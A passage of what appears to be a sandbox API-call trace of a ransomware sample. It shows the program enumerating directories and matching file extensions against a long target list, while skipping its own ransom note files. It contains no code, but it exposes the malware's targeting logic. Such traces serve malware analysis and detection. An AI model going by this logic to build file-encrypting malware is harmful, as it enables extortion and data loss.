(lpString=".dt") returned 3 [0183.238] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1 [0183.238] lstrlenW (lpString=".dtd") returned 4 [0183.238] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1 [0183.238] lstrlenW (lpString=".dwg") returned 4 [0183.238] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1 [0183.238] lstrlenW (lpString=".dwt") returned 4 [0183.238] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1 [0183.238] lstrlenW (lpString=".dx") returned 3 [0183.238] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1 [0183.238] lstrlenW (lpString=".dxf") returned 4 [0183.238] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1 [0183.238] lstrlenW (lpString=".edml") returned 5 [0183.238] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1 [0183.238] lstrlenW (lpString=".efd") returned 4 [0183.238] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1 [0183.238] lstrlenW (lpString=".elf") returned 4 [0183.238] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1 [0183.238] lstrlenW (lpString=".emf") returned 4 [0183.238] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1 [0183.238] lstrlenW (lpString=".emz") returned 4 [0183.238] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1 [0183.238] lstrlenW (lpString=".epf") returned 4 [0183.238] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1 [0183.238] lstrlenW (lpString=".eps") returned 4 [0183.238] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1 [0183.238] lstrlenW (lpString=".epsf") returned 5 [0183.239] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1 [0183.239] lstrlenW (lpString=".epsp") returned 5 [0183.239] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1 [0183.239] lstrlenW (lpString=".erf") returned 4 [0183.239] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1 [0183.239] lstrlenW (lpString=".exr") returned 4 [0183.239] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1 [0183.239] lstrlenW (lpString=".f4v") returned 4 [0183.239] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1 [0183.239] lstrlenW (lpString=".fido") returned 5 [0183.239] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1 [0183.239] lstrlenW (lpString=".flm") returned 4 [0183.239] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1 [0183.239] lstrlenW (lpString=".flv") returned 4 [0183.239] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1 [0183.239] lstrlenW (lpString=".frm") returned 4 [0183.239] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1 [0183.239] lstrlenW (lpString=".fxg") returned 4 [0183.239] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1 [0183.239] lstrlenW (lpString=".geo") returned 4 [0183.239] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1 [0183.239] lstrlenW (lpString=".gif") returned 4 [0183.239] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1 [0183.239] lstrlenW (lpString=".grs") returned 4 [0183.239] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1 [0183.239] lstrlenW (lpString=".gz") returned 3 [0183.239] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1 [0183.239] lstrlenW (lpString=".h") returned 2 [0183.239] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0183.239] lstrlenW (lpString=".hdr") returned 4 [0183.239] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1 [0183.239] lstrlenW (lpString=".hpp") returned 4 [0183.239] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1 [0183.240] lstrlenW (lpString=".hta") returned 4 [0183.240] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1 [0183.240] lstrlenW (lpString=".htc") returned 4 [0183.240] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1 [0183.240] lstrlenW (lpString=".htm") returned 4 [0183.240] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1 [0183.240] lstrlenW (lpString=".html") returned 5 [0183.240] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0 [0183.240] lstrlenW (lpString="index.html") returned 10 [0183.240] lstrlenW (lpString=".NEWS") returned 5 [0183.240] lstrcmpiW (lpString1=".NEWS", lpString2=".html") returned 1 [0183.240] lstrlenW (lpString="index.html") returned 10 [0183.240] lstrcmpiW (lpString1="boot.ini", lpString2="index.html") returned -1 [0183.240] lstrcmpiW (lpString1="bootfont.bin", lpString2="index.html") returned -1 [0183.240] lstrcmpiW (lpString1="ntldr", lpString2="index.html") returned 1 [0183.240] lstrcmpiW (lpString1="ntdetect.com", lpString2="index.html") returned 1 [0183.240] lstrcmpiW (lpString1="io.sys", lpString2="index.html") returned 1 [0183.240] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="index.html") returned -1 [0183.240] lstrcmpiW (lpString1="Info.hta", lpString2="index.html") returned 1 [0183.240] lstrcmpiW (lpString1="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe", lpString2="index.html") returned -1 [0183.240] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\index.html") returned 111 [0183.240] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x2be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0183.240] lstrlenW (lpString="toastbeginupgrade.xml") returned 21 [0183.240] lstrlenW (lpString=".1cd") returned 4 [0183.240] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0183.241] lstrlenW (lpString=".3ds") returned 4 [0183.241] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0183.241] lstrlenW (lpString=".3fr") returned 4 [0183.241] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0183.241] lstrlenW (lpString=".3g2") returned 4 [0183.241] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0183.241] lstrlenW (lpString=".3gp") returned 4 [0183.241] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0183.241] lstrlenW (lpString=".7z") returned 3 [0183.241] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0183.241] lstrlenW (lpString=".accda") returned 6 [0183.241] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1 [0183.241] lstrlenW (lpString=".accdb") returned 6 [0183.241] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1 [0183.241] lstrlenW (lpString=".accdc") returned 6 [0183.241] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1 [0183.241] lstrlenW (lpString=".accde") returned 6 [0183.241] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1 [0183.241] lstrlenW (lpString=".accdt") returned 6 [0183.241] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1 [0183.241] lstrlenW (lpString=".accdw") returned 6 [0183.241] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1 [0183.241] lstrlenW (lpString=".adb") returned 4 [0183.241] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0183.241] lstrlenW (lpString=".adp") returned 4 [0183.241] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0183.241] lstrlenW (lpString=".ai") returned 3 [0183.241] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0183.241] lstrlenW (lpString=".ai3") returned 4 [0183.241] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0183.241] lstrlenW (lpString=".ai4") returned 4 [0183.241] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0183.241] lstrlenW (lpString=".ai5") returned 4 [0183.241] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0183.241] lstrlenW (lpString=".ai6") returned 4 [0183.242] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0183.242] lstrlenW (lpString=".ai7") returned 4 [0183.242] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0183.242] lstrlenW (lpString=".ai8") returned 4 [0183.242] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0183.242] lstrlenW (lpString=".anim") returned 5 [0183.242] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1 [0183.242] lstrlenW (lpString=".arw") returned 4 [0183.242] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0183.242] lstrlenW (lpString=".as") returned 3 [0183.242] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0183.242] lstrlenW (lpString=".asa") returned 4 [0183.242] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0183.242] lstrlenW (lpString=".asc") returned 4 [0183.242] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0183.242] lstrlenW (lpString=".ascx") returned 5 [0183.242] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1 [0183.242] lstrlenW (lpString=".asm") returned 4 [0183.242] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0183.242] lstrlenW (lpString=".asmx") returned 5 [0183.242] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1 [0183.242] lstrlenW (lpString=".asp") returned 4 [0183.242] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0183.242] lstrlenW (lpString=".aspx") returned 5 [0183.242] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1 [0183.242] lstrlenW (lpString=".asr") returned 4 [0183.242] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0183.242] lstrlenW (lpString=".asx") returned 4 [0183.242] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0183.242] lstrlenW (lpString=".avi") returned 4 [0183.242] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0183.242] lstrlenW (lpString=".avs") returned 4 [0183.242] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0183.242] lstrlenW (lpString=".backup") returned 7 [0183.243] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1 [0183.243] lstrlenW (lpString=".bak") returned 4 [0183.243] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0183.243] lstrlenW (lpString=".bay") returned 4 [0183.243] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0183.243] lstrlenW (lpString=".bd") returned 3 [0183.243] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0183.243] lstrlenW (lpString=".bin") returned 4 [0183.243] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0183.243] lstrlenW (lpString=".bmp") returned 4 [0183.243] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0183.243] lstrlenW (lpString=".bz2") returned 4 [0183.243] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0183.243] lstrlenW (lpString=".c") returned 2 [0183.243] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0183.243] lstrlenW (lpString=".cdr") returned 4 [0183.243] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0183.243] lstrlenW (lpString=".cer") returned 4 [0183.243] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0183.243] lstrlenW (lpString=".cf") returned 3 [0183.243] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0183.243] lstrlenW (lpString=".cfc") returned 4 [0183.243] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0183.243] lstrlenW (lpString=".cfm") returned 4 [0183.243] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0183.243] lstrlenW (lpString=".cfml") returned 5 [0183.243] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1 [0183.243] lstrlenW (lpString=".cfu") returned 4 [0183.243] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0183.243] lstrlenW (lpString=".chm") returned 4 [0183.243] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0183.243] lstrlenW (lpString=".cin") returned 4 [0183.243] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0183.244] lstrlenW (lpString=".class") returned 6 [0183.244] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1 [0183.244] lstrlenW (lpString=".clx") returned 4 [0183.244] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0183.244] lstrlenW (lpString=".config") returned 7 [0183.244] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1 [0183.244] lstrlenW (lpString=".cpp") returned 4 [0183.244] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0183.244] lstrlenW (lpString=".cr2") returned 4 [0183.244] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0183.244] lstrlenW (lpString=".crt") returned 4 [0183.244] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0183.244] lstrlenW (lpString=".crw") returned 4 [0183.244] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0183.244] lstrlenW (lpString=".cs") returned 3 [0183.244] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0183.244] lstrlenW (lpString=".css") returned 4 [0183.244] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0183.244] lstrlenW (lpString=".csv") returned 4 [0183.244] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0183.244] lstrlenW (lpString=".cub") returned 4 [0183.244] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0183.244] lstrlenW (lpString=".dae") returned 4 [0183.244] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0183.244] lstrlenW (lpString=".dat") returned 4 [0183.244] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0183.244] lstrlenW (lpString=".db") returned 3 [0183.244] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0183.244] lstrlenW (lpString=".dbf") returned 4 [0183.244] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0183.244] lstrlenW (lpString=".dbx") returned 4 [0183.244] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0183.244] lstrlenW (lpString=".dc3") returned 4 [0183.245] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0183.245] lstrlenW (lpString=".dcm") returned 4 [0183.245] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0183.245] lstrlenW (lpString=".dcr") returned 4 [0183.245] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0183.245] lstrlenW (lpString=".der") returned 4 [0183.245] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0183.245] lstrlenW (lpString=".dib") returned 4 [0183.245] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0183.245] lstrlenW (lpString=".dic") returned 4 [0183.245] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0183.245] lstrlenW (lpString=".dif") returned 4 [0183.245] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0183.245] lstrlenW (lpString=".divx") returned 5 [0183.245] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1 [0183.245] lstrlenW (lpString=".djvu") returned 5 [0183.245] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1 [0183.245] lstrlenW (lpString=".dng") returned 4 [0183.245] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0183.245] lstrlenW (lpString=".doc") returned 4 [0183.245] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0183.245] lstrlenW (lpString=".docm") returned 5 [0183.245] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1 [0183.245] lstrlenW (lpString=".docx") returned 5 [0183.245] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0183.245] lstrlenW (lpString=".dot") returned 4 [0183.246] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0183.246] lstrlenW (lpString=".dotm") returned 5 [0183.246] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1 [0183.246] lstrlenW (lpString=".dotx") returned 5 [0183.246] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1 [0183.246] lstrlenW (lpString=".dpx") returned 4 [0183.246] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0183.246] lstrlenW (lpString=".dqy") returned 4 [0183.246] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0183.246] lstrlenW (lpString=".dsn") returned 4 [0183.246] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0183.246] lstrlenW (lpString=".dt") returned 3 [0183.246] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0183.246] lstrlenW (lpString=".dtd") returned 4 [0183.246] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0183.246] lstrlenW (lpString=".dwg") returned 4 [0183.246] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0183.246] lstrlenW (lpString=".dwt") returned 4 [0183.246] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0183.246] lstrlenW (lpString=".dx") returned 3 [0183.246] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0183.246] lstrlenW (lpString=".dxf") returned 4 [0183.246] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0183.246] lstrlenW (lpString=".edml") returned 5 [0183.246] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1 [0183.246] lstrlenW (lpString=".efd") returned 4 [0183.246] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0183.246] lstrlenW (lpString=".elf") returned 4 [0183.246] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0183.247] lstrlenW (lpString=".emf") returned 4 [0183.247] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0183.247] lstrlenW (lpString=".emz") returned 4 [0183.247] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0183.247] lstrlenW (lpString=".epf") returned 4 [0183.247] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0183.247] lstrlenW (lpString=".eps") returned 4 [0183.247] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0183.247] lstrlenW (lpString=".epsf") returned 5 [0183.247] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1 [0183.247] lstrlenW (lpString=".epsp") returned 5 [0183.247] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1 [0183.247] lstrlenW (lpString=".erf") returned 4 [0183.247] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0183.247] lstrlenW (lpString=".exr") returned 4 [0183.247] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0183.247] lstrlenW (lpString=".f4v") returned 4 [0183.247] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0183.247] lstrlenW (lpString=".fido") returned 5 [0183.247] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1 [0183.247] lstrlenW (lpString=".flm") returned 4 [0183.247] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0183.247] lstrlenW (lpString=".flv") returned 4 [0183.247] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0183.247] lstrlenW (lpString=".frm") returned 4 [0183.247] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0183.247] lstrlenW (lpString=".fxg") returned 4 [0183.247] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0183.247] lstrlenW (lpString=".geo") returned 4 [0183.247] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0183.247] lstrlenW (lpString=".gif") returned 4 [0183.247] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0183.247] lstrlenW (lpString=".grs") returned 4 [0183.247] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0183.247] lstrlenW (lpString=".gz") returned 3 [0183.247] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0183.247] lstrlenW (lpString=".h") returned 2 [0183.247] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0183.248] lstrlenW (lpString=".hdr") returned 4 [0183.248] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0183.248] lstrlenW (lpString=".hpp") returned 4 [0183.248] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0183.248] lstrlenW (lpString=".hta") returned 4 [0183.248] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0183.248] lstrlenW (lpString=".htc") returned 4 [0183.248] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0183.248] lstrlenW (lpString=".htm") returned 4 [0183.248] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1f9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0183.248] lstrlenW (lpString="toastbeginupgradeth2.xml") returned 24 [0183.249] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x25c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0183.249] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x25c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0183.249] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0183.250] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0183.250] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b18143, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-AU", cAlternateFileName="")) returned 1 [0183.250] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0183.250] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU") returned 100 [0183.250] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b18143, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0183.251] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b18143, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0183.252] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0183.252] lstrlenW (lpString="index.html") returned 10 [0183.252] lstrlenW (lpString=".1cd") returned 4 [0183.252] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0183.252] lstrlenW (lpString=".3ds") returned 4 [0183.252] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1 [0183.252] lstrlenW (lpString=".3fr") returned 4 [0183.252] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1 [0183.252] lstrlenW (lpString=".3g2") returned 4 [0183.252] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1 [0183.252] lstrlenW (lpString=".3gp") returned 4 [0183.252] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1 [0183.252] lstrlenW (lpString=".7z") returned 3 [0183.252] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0183.252] lstrlenW (lpString=".accda") returned 6 [0183.252] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1 [0183.252] lstrlenW (lpString=".accdb") returned 6 [0183.252] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1 [0183.252] lstrlenW (lpString=".accdc") returned 6 [0183.252] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1 [0183.252] lstrlenW (lpString=".accde") returned 6 [0183.252] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1 [0183.252] lstrlenW (lpString=".accdt") returned 6 [0183.252] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1 [0183.252] lstrlenW (lpString=".accdw") returned 6 [0183.252] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1 [0183.252] lstrlenW (lpString=".adb") returned 4 [0183.252] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1 [0183.252] lstrlenW (lpString=".adp") returned 4 [0183.252] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1 [0183.252] lstrlenW (lpString=".ai") returned 3 [0183.253] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1 [0183.253] lstrlenW (lpString=".ai3") returned 4 [0183.253] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1 [0183.253] lstrlenW (lpString=".ai4") returned 4 [0183.253] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1 [0183.253] lstrlenW (lpString=".ai5") returned 4 [0183.253] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1 [0183.253] lstrlenW (lpString=".ai6") returned 4 [0183.253] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1 [0183.253] lstrlenW (lpString=".ai7") returned 4 [0183.253] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1 [0183.253] lstrlenW (lpString=".ai8") returned 4 [0183.253] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1 [0183.253] lstrlenW (lpString=".anim") returned 5 [0183.253] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1 [0183.253] lstrlenW (lpString=".arw") returned 4 [0183.253] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1 [0183.253] lstrlenW (lpString=".as") returned 3 [0183.253] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1 [0183.253] lstrlenW (lpString=".asa") returned 4 [0183.253] lstrcmpiW 